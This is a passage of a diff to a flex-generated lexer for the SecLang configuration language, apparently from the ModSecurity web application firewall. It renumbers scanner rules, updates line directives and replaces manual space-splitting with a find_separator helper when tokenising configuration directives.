*/ YY_RULE_SETUP -#line 629 "seclang-scanner.ll" +#line 654 "seclang-scanner.ll" { BEGIN(INITIAL); yyless(yyleng); driver.loc.back()->lines(1); driver.loc.back()->step(); } YY_BREAK -case 111: -/* rule 111 can match eol */ +case 110: +/* rule 110 can match eol */ YY_RULE_SETUP -#line 630 "seclang-scanner.ll" +#line 655 "seclang-scanner.ll" { BEGIN(INITIAL); yyless(yyleng); driver.loc.back()->lines(1); driver.loc.back()->step(); } YY_BREAK -case 112: +case 111: YY_RULE_SETUP -#line 635 "seclang-scanner.ll" +#line 660 "seclang-scanner.ll" { BEGIN(INITIAL); yyless(yyleng); } YY_BREAK -case 113: -/* rule 113 can match eol */ +case 112: +/* rule 112 can match eol */ YY_RULE_SETUP -#line 636 "seclang-scanner.ll" +#line 661 "seclang-scanner.ll" { BEGIN(INITIAL); yyless(1); } YY_BREAK -case 114: -/* rule 114 can match eol */ +case 113: +/* rule 113 can match eol */ YY_RULE_SETUP -#line 637 "seclang-scanner.ll" +#line 662 "seclang-scanner.ll" { BEGIN(INITIAL); driver.loc.back()->lines(1); driver.loc.back()->step(); } YY_BREAK -case 115: +case 114: YY_RULE_SETUP -#line 642 "seclang-scanner.ll" +#line 667 "seclang-scanner.ll" { BEGIN(INITIAL); yyless(yyleng); p::make_NEW_LINE(*driver.loc.back()); } YY_BREAK -case 116: -/* rule 116 can match eol */ +case 115: +/* rule 115 can match eol */ YY_RULE_SETUP -#line 643 "seclang-scanner.ll" +#line 668 "seclang-scanner.ll" { BEGIN(INITIAL); yyless(1); } YY_BREAK -case 117: -/* rule 117 can match eol */ +case 116: +/* rule 116 can match eol */ YY_RULE_SETUP -#line 644 "seclang-scanner.ll" +#line 669 "seclang-scanner.ll" { BEGIN(INITIAL); driver.loc.back()->lines(1); driver.loc.back()->step(); } YY_BREAK -case 118: +case 117: YY_RULE_SETUP -#line 649 "seclang-scanner.ll" +#line 674 "seclang-scanner.ll" { BEGIN(LEXING_ERROR_ACTION); yyless(0); } YY_BREAK -case 119: +case 118: YY_RULE_SETUP -#line 654 "seclang-scanner.ll" +#line 679 "seclang-scanner.ll" { BEGIN(ACTION_PREDICATE_ENDS_WITH_QUOTE); } YY_BREAK -case 120: +case 119: YY_RULE_SETUP -#line 655 "seclang-scanner.ll" +#line 680 "seclang-scanner.ll" { BEGIN(ACTION_PREDICATE_ENDS_WITH_DOUBLE_QUOTE); } YY_BREAK -case 121: +case 120: YY_RULE_SETUP -#line 656 "seclang-scanner.ll" +#line 681 "seclang-scanner.ll" { BEGIN(ACTION_PREDICATE_ENDS_WITH_COMMA_OR_DOUBLE_QUOTE); yyless(0); } YY_BREAK -case 122: -/* rule 122 can match eol */ +case 121: +/* rule 121 can match eol */ YY_RULE_SETUP -#line 661 "seclang-scanner.ll" +#line 686 "seclang-scanner.ll" { driver.loc.back()->lines(1); driver.loc.back()->step(); } YY_BREAK -case 123: -/* rule 123 can match eol */ +case 122: +/* rule 122 can match eol */ YY_RULE_SETUP -#line 662 "seclang-scanner.ll" +#line 687 "seclang-scanner.ll" { driver.loc.back()->lines(1); driver.loc.back()->step(); } YY_BREAK -case 124: +case 123: YY_RULE_SETUP -#line 666 "seclang-scanner.ll" +#line 691 "seclang-scanner.ll" { yyless(1); BEGIN_PREVIOUS(); } YY_BREAK -case 125: +case 124: YY_RULE_SETUP -#line 667 "seclang-scanner.ll" +#line 692 "seclang-scanner.ll" { BEGIN_PREVIOUS(); } YY_BREAK -case 126: +case 125: YY_RULE_SETUP -#line 668 "seclang-scanner.ll" +#line 693 "seclang-scanner.ll" { BEGIN_PREVIOUS(); } YY_BREAK -case 127: +case 126: YY_RULE_SETUP -#line 672 "seclang-scanner.ll" +#line 697 "seclang-scanner.ll" { BEGIN(EXPECTING_ACTIONS_ENDS_WITH_DOUBLE_QUOTE); yyless(yyleng); } YY_BREAK +case 127: +/* rule 127 can match eol */ +YY_RULE_SETUP +#line 698 "seclang-scanner.ll" +{ return p::make_FREE_TEXT_QUOTE_MACRO_EXPANSION(yytext, *driver.loc.back()); } + YY_BREAK case 128: /* rule 128 can match eol */ YY_RULE_SETUP -#line 673 "seclang-scanner.ll" +#line 699 "seclang-scanner.ll" { return p::make_FREE_TEXT_QUOTE_MACRO_EXPANSION(yytext, *driver.loc.back()); } YY_BREAK case 129: YY_RULE_SETUP -#line 677 "seclang-scanner.ll" +#line 703 "seclang-scanner.ll" { BEGIN(EXPECTING_ACTIONS_ENDS_WITH_DOUBLE_QUOTE); yyless(yyleng); } YY_BREAK case 130: /* rule 130 can match eol */ YY_RULE_SETUP -#line 678 "seclang-scanner.ll" +#line 704 "seclang-scanner.ll" +{ return p::make_FREE_TEXT_QUOTE_MACRO_EXPANSION(yytext, *driver.loc.back()); } + YY_BREAK +case 131: +/* rule 131 can match eol */ +YY_RULE_SETUP +#line 705 "seclang-scanner.ll" { return p::make_FREE_TEXT_QUOTE_MACRO_EXPANSION(yytext, *driver.loc.back()); } YY_BREAK -case 131: +case 132: YY_RULE_SETUP -#line 682 "seclang-scanner.ll" +#line 709 "seclang-scanner.ll" { yyless(0); BEGIN(EXPECTING_ACTIONS_ENDS_WITH_DOUBLE_QUOTE); } YY_BREAK -case 132: +case 133: YY_RULE_SETUP -#line 683 "seclang-scanner.ll" +#line 710 "seclang-scanner.ll" { yyless(0); BEGIN(EXPECTING_ACTIONS_ENDS_WITH_DOUBLE_QUOTE);} YY_BREAK -case 133: -/* rule 133 can match eol */ +case 134: +/* rule 134 can match eol */ +YY_RULE_SETUP +#line 711 "seclang-scanner.ll" +{ return p::make_FREE_TEXT_QUOTE_MACRO_EXPANSION(yytext, *driver.loc.back()); } + YY_BREAK +case 135: +/* rule 135 can match eol */ YY_RULE_SETUP -#line 684 "seclang-scanner.ll" +#line 712 "seclang-scanner.ll" { return p::make_FREE_TEXT_QUOTE_MACRO_EXPANSION(yytext, *driver.loc.back()); } YY_BREAK -case 134: +case 136: YY_RULE_SETUP -#line 688 "seclang-scanner.ll" +#line 716 "seclang-scanner.ll" { BEGINX(EXPECTING_ACTION_PREDICATE_VARIABLE); } YY_BREAK -case 135: +case 137: YY_RULE_SETUP -#line 689 "seclang-scanner.ll" +#line 717 "seclang-scanner.ll" { BEGIN(LEXING_ERROR_VARIABLE); yyless(0); } YY_BREAK -case 136: +case 138: YY_RULE_SETUP -#line 693 "seclang-scanner.ll" +#line 721 "seclang-scanner.ll" { return p::make_NOT(*driver.loc.back()); } YY_BREAK -case 137: -/* rule 137 can match eol */ +case 139: +/* rule 139 can match eol */ YY_RULE_SETUP -#line 694 "seclang-scanner.ll" +#line 722 "seclang-scanner.ll" { BEGIN_ACTION_OPERATION(); yyless(0); } YY_BREAK -case 138: +case 140: YY_RULE_SETUP -#line 699 "seclang-scanner.ll" +#line 727 "seclang-scanner.ll" { BEGIN_ACTION_WAITING_CONTENT(); return p::make_SETVAR_OPERATION_EQUALS_PLUS(*driver.loc.back()); } YY_BREAK -case 139: +case 141: YY_RULE_SETUP -#line 700 "seclang-scanner.ll" +#line 728 "seclang-scanner.ll" { BEGIN_ACTION_WAITING_CONTENT(); return p::make_SETVAR_OPERATION_EQUALS_MINUS(*driver.loc.back()); } YY_BREAK -case 140: +case 142: YY_RULE_SETUP -#line 701 "seclang-scanner.ll" +#line 729 "seclang-scanner.ll" { BEGIN_ACTION_WAITING_CONTENT(); return p::make_SETVAR_OPERATION_EQUALS(*driver.loc.back()); } YY_BREAK -case 141: -/* rule 141 can match eol */ +case 143: +/* rule 143 can match eol */ YY_RULE_SETUP -#line 705 "seclang-scanner.ll" +#line 733 "seclang-scanner.ll" { BEGIN(EXPECTING_ACTIONS_ENDS_WITH_DOUBLE_QUOTE); yyless(0);} YY_BREAK -case 142: +case 144: YY_RULE_SETUP -#line 709 "seclang-scanner.ll" +#line 737 "seclang-scanner.ll" { BEGIN(EXPECTING_ACTIONS_ENDS_WITH_DOUBLE_QUOTE); } YY_BREAK -case 143: -/* rule 143 can match eol */ +case 145: +/* rule 145 can match eol */ YY_RULE_SETUP -#line 710 "seclang-scanner.ll" +#line 738 "seclang-scanner.ll" { BEGIN(LEXING_ERROR_ACTION); yyless(0); } YY_BREAK -case 144: +case 146: YY_RULE_SETUP -#line 718 "seclang-scanner.ll" +#line 746 "seclang-scanner.ll" { BEGINX(EXPECTING_ACTION_PREDICATE_VARIABLE); } YY_BREAK -case 145: -/* rule 145 can match eol */ +case 147: +/* rule 147 can match eol */ YY_RULE_SETUP -#line 723 "seclang-scanner.ll" +#line 751 "seclang-scanner.ll" { return p::make_FREE_TEXT_QUOTE_MACRO_EXPANSION(yytext, *driver.loc.back()); } YY_BREAK -case 146: -/* rule 146 can match eol */ +case 148: +/* rule 148 can match eol */ YY_RULE_SETUP -#line 724 "seclang-scanner.ll" +#line 752 "seclang-scanner.ll" { BEGIN(EXPECTING_ACTIONS_ENDS_WITH_DOUBLE_QUOTE); yyless(0); } YY_BREAK -case 147: +case 149: YY_RULE_SETUP -#line 729 "seclang-scanner.ll" +#line 757 "seclang-scanner.ll" { BEGIN(EXPECTING_ACTIONS_ENDS_WITH_DOUBLE_QUOTE); } YY_BREAK -case 148: -/* rule 148 can match eol */ +case 150: +/* rule 150 can match eol */ YY_RULE_SETUP -#line 730 "seclang-scanner.ll" +#line 758 "seclang-scanner.ll" { return p::make_FREE_TEXT_QUOTE_MACRO_EXPANSION(yytext, *driver.loc.back()); } YY_BREAK -case 149: -/* rule 149 can match eol */ +case 151: +/* rule 151 can match eol */ YY_RULE_SETUP -#line 731 "seclang-scanner.ll" +#line 759 "seclang-scanner.ll" { BEGIN(EXPECTING_ACTIONS_ENDS_WITH_DOUBLE_QUOTE); yyless(0); } YY_BREAK case YY_STATE_EOF(FINISH_ACTIONS): -#line 739 "seclang-scanner.ll" +#line 767 "seclang-scanner.ll" { BEGIN(INITIAL); yyless(0); p::make_NEW_LINE(*driver.loc.back()); } YY_BREAK -case 150: +case 152: YY_RULE_SETUP -#line 740 "seclang-scanner.ll" +#line 768 "seclang-scanner.ll" { BEGIN(INITIAL); } YY_BREAK -case 151: -/* rule 151 can match eol */ -YY_RULE_SETUP -#line 743 "seclang-scanner.ll" -{ return p::make_CONFIG_COMPONENT_SIG(strchr(yytext, ' ') + 2, *driver.loc.back()); } - YY_BREAK -case 152: -/* rule 152 can match eol */ -YY_RULE_SETUP -#line 744 "seclang-scanner.ll" -{ return p::make_CONFIG_SEC_SERVER_SIG(strchr(yytext, ' ') + 2, *driver.loc.back()); } - YY_BREAK case 153: /* rule 153 can match eol */ YY_RULE_SETUP -#line 745 "seclang-scanner.ll" -{ return p::make_CONFIG_SEC_WEB_APP_ID(parserSanitizer(strchr(yytext, ' ') + 2), *driver.loc.back()); } +#line 771 "seclang-scanner.ll" +{ return p::make_CONFIG_COMPONENT_SIG(strchr(yytext, ' ') + 2, *driver.loc.back()); } YY_BREAK case 154: +/* rule 154 can match eol */ YY_RULE_SETUP -#line 746 "seclang-scanner.ll" -{ return p::make_CONFIG_SEC_WEB_APP_ID(parserSanitizer(strchr(yytext, ' ') + 1), *driver.loc.back()); } +#line 772 "seclang-scanner.ll" +{ return p::make_CONFIG_SEC_SERVER_SIG(strchr(yytext, ' ') + 2, *driver.loc.back()); } YY_BREAK case 155: +/* rule 155 can match eol */ YY_RULE_SETUP -#line 747 "seclang-scanner.ll" -{ return p::make_CONFIG_CONTENT_INJECTION(*driver.loc.back()); } +#line 773 "seclang-scanner.ll" +{ return p::make_CONFIG_SEC_WEB_APP_ID(parserSanitizer(strchr(yytext, ' ') + 2), *driver.loc.back()); } YY_BREAK case 156: YY_RULE_SETUP -#line 748 "seclang-scanner.ll" -{ return p::make_CONFIG_DIR_AUDIT_DIR_MOD(parserSanitizer(strchr(yytext, ' ') + 1), *driver.loc.back()); } +#line 774 "seclang-scanner.ll" +{ return p::make_CONFIG_SEC_WEB_APP_ID(parserSanitizer(find_separator(yytext)), *driver.loc.back()); } YY_BREAK case 157: YY_RULE_SETUP -#line 749 "seclang-scanner.ll" -{ return p::make_CONFIG_DIR_AUDIT_DIR_MOD(parserSanitizer(strchr(yytext, ' ') + 1), *driver.loc.back()); } +#line 775 "seclang-scanner.ll" +{ return p::make_CONFIG_CONTENT_INJECTION(*driver.loc.back()); } YY_BREAK case 158: YY_RULE_SETUP -#line 750 "seclang-scanner.ll" -{ return p::make_CONFIG_DIR_AUDIT_DIR(parserSanitizer(strchr(yytext, ' ') + 1), *driver.loc.back()); } +#line 776 "seclang-scanner.ll" +{ return p::make_CONFIG_DIR_AUDIT_DIR_MOD(parserSanitizer(find_separator(yytext)), *driver.loc.back()); } YY_BREAK case 159: YY_RULE_SETUP -#line 751 "seclang-scanner.ll" -{ return p::make_CONFIG_DIR_AUDIT_DIR(parserSanitizer(strchr(yytext, ' ') + 1), *driver.loc.back()); } +#line 777 "seclang-scanner.ll" +{ return p::make_CONFIG_DIR_AUDIT_DIR_MOD(parserSanitizer(find_separator(yytext)), *driver.loc.back()); } YY_BREAK case 160: YY_RULE_SETUP -#line 752 "seclang-scanner.ll" -{ return p::make_CONFIG_SEC_ARGUMENT_SEPARATOR(parserSanitizer(strchr(yytext, ' ') + 1), *driver.loc.back()); } +#line 778 "seclang-scanner.ll" +{ return p::make_CONFIG_DIR_AUDIT_DIR(parserSanitizer(find_separator(yytext)), *driver.loc.back()); } YY_BREAK case 161: YY_RULE_SETUP -#line 753 "seclang-scanner.ll" -{ return p::make_CONFIG_SEC_ARGUMENT_SEPARATOR(parserSanitizer(strchr(yytext, ' ') + 1), *driver.loc.back()); } +#line 779 "seclang-scanner.ll" +{ return p::make_CONFIG_DIR_AUDIT_DIR(parserSanitizer(find_separator(yytext)), *driver.loc.back()); } YY_BREAK case 162: YY_RULE_SETUP -#line 754 "seclang-scanner.ll" -{ return p::make_CONFIG_DIR_AUDIT_ENG(yytext, *driver.loc.back()); } +#line 780 "seclang-scanner.ll" +{ return p::make_CONFIG_SEC_ARGUMENT_SEPARATOR(parserSanitizer(find_separator(yytext)), *driver.loc.back()); } YY_BREAK case 163: YY_RULE_SETUP -#line 755 "seclang-scanner.ll" -{ return p::make_CONFIG_DIR_AUDIT_FLE_MOD(strchr(yytext, ' ') + 1, *driver.loc.back()); } +#line 781 "seclang-scanner.ll" +{ return p::make_CONFIG_SEC_ARGUMENT_SEPARATOR(parserSanitizer(find_separator(yytext)), *driver.loc.back()); } YY_BREAK case 164: YY_RULE_SETUP -#line 756 "seclang-scanner.ll" -{ return p::make_CONFIG_DIR_AUDIT_LOG2(strchr(yytext, ' ') + 1, *driver.loc.back()); } +#line 782 "seclang-scanner.ll" +{ return p::make_CONFIG_DIR_AUDIT_ENG(yytext, *driver.loc.back()); } YY_BREAK case 165: YY_RULE_SETUP -#line 757 "seclang-scanner.ll" -{ return p::make_CONFIG_DIR_AUDIT_LOG_P(parserSanitizer(strchr(yytext, ' ') + 1), *driver.loc.back()); } +#line 783 "seclang-scanner.ll" +{ return p::make_CONFIG_DIR_AUDIT_FLE_MOD(find_separator(yytext), *driver.loc.back()); } YY_BREAK case 166: YY_RULE_SETUP -#line 758 "seclang-scanner.ll" -{ return p::make_CONFIG_DIR_AUDIT_LOG_P(parserSanitizer(strchr(yytext, ' ') + 1), *driver.loc.back()); } +#line 784 "seclang-scanner.ll" +{ return p::make_CONFIG_DIR_AUDIT_LOG2(find_separator(yytext), *driver.loc.back()); } YY_BREAK case 167: YY_RULE_SETUP -#line 759 "seclang-scanner.ll" -{ return p::make_CONFIG_DIR_AUDIT_LOG(strchr(yytext, ' ') + 1, *driver.loc.back()); } +#line 785 "seclang-scanner.ll" +{ return p::make_CONFIG_DIR_AUDIT_LOG_P(parserSanitizer(find_separator(yytext)), *driver.loc.back()); } YY_BREAK case 168: YY_RULE_SETUP -#line 760 "seclang-scanner.ll" -{ return p::make_CONFIG_DIR_AUDIT_LOG_FMT(*driver.loc.back()); } +#line 786 "seclang-scanner.ll" +{ return p::make_CONFIG_DIR_AUDIT_LOG_P(parserSanitizer(find_separator(yytext)), *driver.loc.back()); } YY_BREAK case 169: YY_RULE_SETUP -#line 761 "seclang-scanner.ll" -{ return p::make_JSON(*driver.loc.back()); } +#line 787 "seclang-scanner.ll" +{ return p::make_CONFIG_DIR_AUDIT_LOG(find_separator(yytext), *driver.loc.back()); } YY_BREAK case 170: YY_RULE_SETUP -#line 762 "seclang-scanner.ll" -{ return p::make_NATIVE(*driver.loc.back()); } +#line 788 "seclang-scanner.ll" +{ return p::make_CONFIG_DIR_AUDIT_LOG_FMT(*driver.loc.back()); } YY_BREAK case 171: YY_RULE_SETUP -#line 763 "seclang-scanner.ll" -{ return p::make_CONFIG_DIR_AUDIT_LOG(parserSanitizer(strchr(yytext, ' ') + 1), *driver.loc.back()); } +#line 789 "seclang-scanner.ll" +{ return p::make_JSON(*driver.loc.back()); } YY_BREAK case 172: YY_RULE_SETUP -#line 764 "seclang-scanner.ll" -{ return p::make_CONFIG_DIR_AUDIT_STS(parserSanitizer(strchr(yytext, ' ') + 1), *driver.loc.back()); } +#line 790 "seclang-scanner.ll" +{ return p::make_NATIVE(*driver.loc.back()); } YY_BREAK case 173: YY_RULE_SETUP -#line 765 "seclang-scanner.ll" -{ return p::make_CONFIG_DIR_AUDIT_STS(parserSanitizer(strchr(yytext, ' ') + 1), *driver.loc.back()); } +#line 791 "seclang-scanner.ll" +{ return p::make_CONFIG_DIR_AUDIT_LOG(parserSanitizer(find_separator(yytext)), *driver.loc.back()); } YY_BREAK case 174: YY_RULE_SETUP -#line 766 "seclang-scanner.ll" -{ return p::make_CONFIG_DIR_AUDIT_TPE(yytext, *driver.loc.back()); } +#line 792 "seclang-scanner.ll" +{ return p::make_CONFIG_DIR_AUDIT_STS(parserSanitizer(find_separator(yytext)), *driver.loc.back()); } YY_BREAK case 175: YY_RULE_SETUP -#line 769 "seclang-scanner.ll" -{ return p::make_CONFIG_DIR_DEBUG_LOG(strchr(yytext, ' ') + 1, *driver.loc.back()); } +#line 793 "seclang-scanner.ll" +{ return p::make_CONFIG_DIR_AUDIT_STS(parserSanitizer(find_separator(yytext)), *driver.loc.back()); } YY_BREAK case 176: YY_RULE_SETUP -#line 770 "seclang-scanner.ll" -{ return p::make_CONFIG_DIR_DEBUG_LOG(parserSanitizer(strchr(yytext, ' ') + 1), *driver.loc.back()); } +#line 794 "seclang-scanner.ll" +{ return p::make_CONFIG_DIR_AUDIT_PREFIX(parserSanitizer(find_separator(yytext)), *driver.loc.back()); } YY_BREAK case 177: YY_RULE_SETUP -#line 771 "seclang-scanner.ll" -{ return p::make_CONFIG_DIR_DEBUG_LVL(strchr(yytext, ' ') + 1, *driver.loc.back()); } +#line 795 "seclang-scanner.ll" +{ return p::make_CONFIG_DIR_AUDIT_PREFIX(parserSanitizer(find_separator(yytext)), *driver.loc.back()); } YY_BREAK case 178: YY_RULE_SETUP -#line 772 "seclang-scanner.ll" -{ return p::make_CONFIG_DIR_GEO_DB(strchr(yytext, ' ') + 1, *driver.loc.back()); } +#line 796 "seclang-scanner.ll" +{ return p::make_CONFIG_DIR_AUDIT_TPE(yytext, *driver.loc.back()); } YY_BREAK case 179: YY_RULE_SETUP -#line 773 "seclang-scanner.ll" -{ return p::make_CONFIG_DIR_PCRE_MATCH_LIMIT_RECURSION(strchr(yytext, ' ') + 1, *driver.loc.back()); } +#line 799 "seclang-scanner.ll" +{ return p::make_CONFIG_DIR_DEBUG_LOG(find_separator(yytext), *driver.loc.back()); } YY_BREAK case 180: YY_RULE_SETUP -#line 774 "seclang-scanner.ll" -{ return p::make_CONFIG_DIR_PCRE_MATCH_LIMIT(strchr(yytext, ' ') + 1, *driver.loc.back()); } +#line 800 "seclang-scanner.ll" +{ return p::make_CONFIG_DIR_DEBUG_LOG(parserSanitizer(find_separator(yytext)), *driver.loc.back()); } YY_BREAK case 181: YY_RULE_SETUP -#line 775 "seclang-scanner.ll" -{ return p::make_CONFIG_DIR_ARGS_LIMIT(strchr(yytext, ' ') + 1, *driver.loc.back()); } +#line 801 "seclang-scanner.ll" +{ return p::make_CONFIG_DIR_DEBUG_LVL(find_separator(yytext), *driver.loc.back()); } YY_BREAK case 182: YY_RULE_SETUP -#line 776 "seclang-scanner.ll" -{ return p::make_CONFIG_DIR_REQ_BODY_JSON_DEPTH_LIMIT(strchr(yytext, ' ') + 1, *driver.loc.back()); } +#line 802 "seclang-scanner.ll" +{ return p::make_CONFIG_DIR_GEO_DB(find_separator(yytext), *driver.loc.back()); } YY_BREAK case 183: YY_RULE_SETUP -#line 777 "seclang-scanner.ll" -{ return p::make_CONFIG_DIR_REQ_BODY_IN_MEMORY_LIMIT(strchr(yytext, ' ') + 1, *driver.loc.back()); } +#line 803 "seclang-scanner.ll" +{ return p::make_CONFIG_DIR_PCRE_MATCH_LIMIT_RECURSION(find_separator(yytext), *driver.loc.back()); } YY_BREAK case 184: YY_RULE_SETUP -#line 779 "seclang-scanner.ll" -{ return p::make_CONFIG_DIR_REQ_BODY_LIMIT_ACTION(yytext, *driver.loc.back()); } +#line 804 "seclang-scanner.ll" +{ return p::make_CONFIG_DIR_PCRE_MATCH_LIMIT(find_separator(yytext), *driver.loc.back()); } YY_BREAK case 185: YY_RULE_SETUP -#line 780 "seclang-scanner.ll" -{ return p::make_CONFIG_DIR_REQ_BODY_LIMIT(strchr(yytext, ' ') + 1, *driver.loc.back()); } +#line 805 "seclang-scanner.ll" +{ return p::make_CONFIG_DIR_ARGS_LIMIT(find_separator(yytext), *driver.loc.back()); } YY_BREAK case 186: YY_RULE_SETUP -#line 781 "seclang-scanner.ll" -{ return p::make_CONFIG_DIR_REQ_BODY_NO_FILES_LIMIT(strchr(yytext, ' ') + 1, *driver.loc.back()); } +#line 806 "seclang-scanner.ll" +{ return p::make_CONFIG_DIR_REQ_BODY_JSON_DEPTH_LIMIT(find_separator(yytext), *driver.loc.back()); } YY_BREAK case 187: YY_RULE_SETUP -#line 782 "seclang-scanner.ll" -{ return p::make_CONFIG_DIR_REQ_BODY(yytext, *driver.loc.back()); } +#line 807 "seclang-scanner.ll" +{ return p::make_CONFIG_DIR_REQ_BODY_IN_MEMORY_LIMIT(find_separator(yytext), *driver.loc.back()); } YY_BREAK case 188: YY_RULE_SETUP -#line 783 "seclang-scanner.ll" -{ return p::make_CONFIG_DIR_RES_BODY_LIMIT_ACTION(yytext, *driver.loc.back()); } +#line 809 "seclang-scanner.ll" +{ return p::make_CONFIG_DIR_REQ_BODY_LIMIT_ACTION(yytext, *driver.loc.back()); } YY_BREAK case 189: YY_RULE_SETUP -#line 784 "seclang-scanner.ll" -{ return p::make_CONFIG_DIR_RES_BODY_LIMIT(strchr(yytext, ' ') + 1, *driver.loc.back()); } +#line 810 "seclang-scanner.ll" +{ return p::make_CONFIG_DIR_REQ_BODY_LIMIT(find_separator(yytext), *driver.loc.back()); } YY_BREAK case 190: YY_RULE_SETUP -#line 785 "seclang-scanner.ll" -{ return p::make_CONFIG_DIR_RES_BODY(yytext, *driver.loc.back()); } +#line 811 "seclang-scanner.ll" +{ return p::make_CONFIG_DIR_REQ_BODY_NO_FILES_LIMIT(find_separator(yytext), *driver.loc.back()); } YY_BREAK case 191: YY_RULE_SETUP -#line 786 "seclang-scanner.ll" -{ return p::make_CONFIG_DIR_RULE_ENG(yytext, *driver.loc.back()); } +#line 812 "seclang-scanner.ll" +{ return p::make_CONFIG_DIR_REQ_BODY(yytext, *driver.loc.back()); } YY_BREAK case 192: YY_RULE_SETUP -#line 787 "seclang-scanner.ll" -{ return p::make_CONFIG_DIR_SEC_MARKER(strchr(yytext, ' ') + 1, *driver.loc.back()); } +#line 813 "seclang-scanner.ll" +{ return p::make_CONFIG_DIR_RES_BODY_LIMIT_ACTION(yytext, *driver.loc.back()); } YY_BREAK case 193: YY_RULE_SETUP -#line 788 "seclang-scanner.ll" -{ return p::make_CONFIG_DIR_SEC_MARKER(strchr(yytext, ' ') + 1, *driver.loc.back()); } +#line 814 "seclang-scanner.ll" +{ return p::make_CONFIG_DIR_RES_BODY_LIMIT(find_separator(yytext), *driver.loc.back()); } YY_BREAK case 194: YY_RULE_SETUP -#line 789 "seclang-scanner.ll" -{ return p::make_CONFIG_DIR_UNICODE_MAP_FILE(strchr(yytext, ' ') + 1, *driver.loc.back()); } +#line 815 "seclang-scanner.ll" +{ return p::make_CONFIG_DIR_RES_BODY(yytext, *driver.loc.back()); } YY_BREAK case 195: YY_RULE_SETUP -#line 790 "seclang-scanner.ll" -{ return p::make_CONFIG_SEC_RULE_REMOVE_BY_ID(parserSanitizer(strchr(yytext, ' ') + 1), *driver.loc.back()); } +#line 816 "seclang-scanner.ll" +{ return p::make_CONFIG_DIR_RULE_ENG(yytext, *driver.loc.back()); } YY_BREAK case 196: YY_RULE_SETUP -#line 791 "seclang-scanner.ll" -{ return p::make_CONFIG_SEC_RULE_REMOVE_BY_MSG(parserSanitizer(strchr(yytext, ' ') + 1), *driver.loc.back()); } +#line 817 "seclang-scanner.ll" +{ return p::make_CONFIG_DIR_SEC_MARKER(find_separator(yytext), *driver.loc.back()); } YY_BREAK case 197: YY_RULE_SETUP -#line 792 "seclang-scanner.ll" -{ return p::make_CONFIG_SEC_RULE_REMOVE_BY_MSG(parserSanitizer(strchr(yytext, ' ') + 1), *driver.loc.back()); } +#line 818 "seclang-scanner.ll" +{ return p::make_CONFIG_DIR_SEC_MARKER(find_separator(yytext), *driver.loc.back()); } YY_BREAK case 198: YY_RULE_SETUP -#line 793 "seclang-scanner.ll" -{ return p::make_CONFIG_SEC_RULE_REMOVE_BY_TAG(parserSanitizer(strchr(yytext, ' ') + 1), *driver.loc.back()); } +#line 819 "seclang-scanner.ll" +{ return p::make_CONFIG_DIR_UNICODE_MAP_FILE(find_separator(yytext), *driver.loc.back()); } YY_BREAK case 199: YY_RULE_SETUP -#line 794 "seclang-scanner.ll" -{ return p::make_CONFIG_SEC_RULE_REMOVE_BY_TAG(parserSanitizer(strchr(yytext, ' ') + 1), *driver.loc.back()); } +#line 820 "seclang-scanner.ll" +{ return p::make_CONFIG_SEC_RULE_REMOVE_BY_ID(parserSanitizer(find_separator(yytext)), *driver.loc.back()); } YY_BREAK case 200: YY_RULE_SETUP -#line 795 "seclang-scanner.ll" -{ state_variable_from = 1; BEGIN(TRANSACTION_TO_VARIABLE); return p::make_CONFIG_SEC_RULE_UPDATE_TARGET_BY_TAG(parserSanitizer(strchr(yytext, ' ') + 1), *driver.loc.back()); } +#line 821 "seclang-scanner.ll" +{ return p::make_CONFIG_SEC_RULE_REMOVE_BY_MSG(parserSanitizer(find_separator(yytext)), *driver.loc.back()); } YY_BREAK case 201: YY_RULE_SETUP -#line 796 "seclang-scanner.ll" -{ state_variable_from = 1; BEGIN(TRANSACTION_TO_VARIABLE); return p::make_CONFIG_SEC_RULE_UPDATE_TARGET_BY_TAG(parserSanitizer(strchr(yytext, ' ') + 1), *driver.loc.back()); } +#line 822 "seclang-scanner.ll" +{ return p::make_CONFIG_SEC_RULE_REMOVE_BY_MSG(parserSanitizer(find_separator(yytext)), *driver.loc.back()); } YY_BREAK case 202: YY_RULE_SETUP -#line 797 "seclang-scanner.ll" -{ state_variable_from = 1; BEGIN(TRANSACTION_TO_VARIABLE); return p::make_CONFIG_SEC_RULE_UPDATE_TARGET_BY_MSG(parserSanitizer(strchr(yytext, ' ') + 1), *driver.loc.back()); } +#line 823 "seclang-scanner.ll" +{ return p::make_CONFIG_SEC_RULE_REMOVE_BY_TAG(parserSanitizer(find_separator(yytext)), *driver.loc.back()); } YY_BREAK case 203: YY_RULE_SETUP -#line 798 "seclang-scanner.ll" -{ state_variable_from = 1; BEGIN(TRANSACTION_TO_VARIABLE); return p::make_CONFIG_SEC_RULE_UPDATE_TARGET_BY_MSG(parserSanitizer(strchr(yytext, ' ') + 1), *driver.loc.back()); } +#line 824 "seclang-scanner.ll" +{ return p::make_CONFIG_SEC_RULE_REMOVE_BY_TAG(parserSanitizer(find_separator(yytext)), *driver.loc.back()); } YY_BREAK case 204: YY_RULE_SETUP -#line 799 "seclang-scanner.ll" -{ state_variable_from = 1; BEGIN(TRANSACTION_TO_VARIABLE); return p::make_CONFIG_SEC_RULE_UPDATE_TARGET_BY_ID(parserSanitizer(strchr(yytext, ' ') + 1), *driver.loc.back()); } +#line 825 "seclang-scanner.ll" +{ state_variable_from = 1; BEGIN(TRANSACTION_TO_VARIABLE); return p::make_CONFIG_SEC_RULE_UPDATE_TARGET_BY_TAG(parserSanitizer(find_separator(yytext)), *driver.loc.back()); } YY_BREAK case 205: YY_RULE_SETUP -#line 800 "seclang-scanner.ll" -{ state_variable_from = 1; BEGIN(TRANSACTION_TO_VARIABLE); return p::make_CONFIG_SEC_RULE_UPDATE_TARGET_BY_ID(parserSanitizer(strchr(yytext, ' ') + 1), *driver.loc.back()); } +#line 826 "seclang-scanner.ll" +{ state_variable_from = 1; BEGIN(TRANSACTION_TO_VARIABLE); return p::make_CONFIG_SEC_RULE_UPDATE_TARGET_BY_TAG(parserSanitizer(find_separator(yytext)), *driver.loc.back()); } YY_BREAK case 206: YY_RULE_SETUP -#line 801 "seclang-scanner.ll" -{ BEGIN(TRANSACTION_FROM_OPERATOR_TO_ACTIONS); return p::make_CONFIG_SEC_RULE_UPDATE_ACTION_BY_ID(parserSanitizer(strchr(yytext, ' ') + 1), *driver.loc.back()); } +#line 827 "seclang-scanner.ll" +{ state_variable_from = 1; BEGIN(TRANSACTION_TO_VARIABLE); return p::make_CONFIG_SEC_RULE_UPDATE_TARGET_BY_MSG(parserSanitizer(find_separator(yytext)), *driver.loc.back()); } YY_BREAK case 207: YY_RULE_SETUP -#line 802 "seclang-scanner.ll" -{ 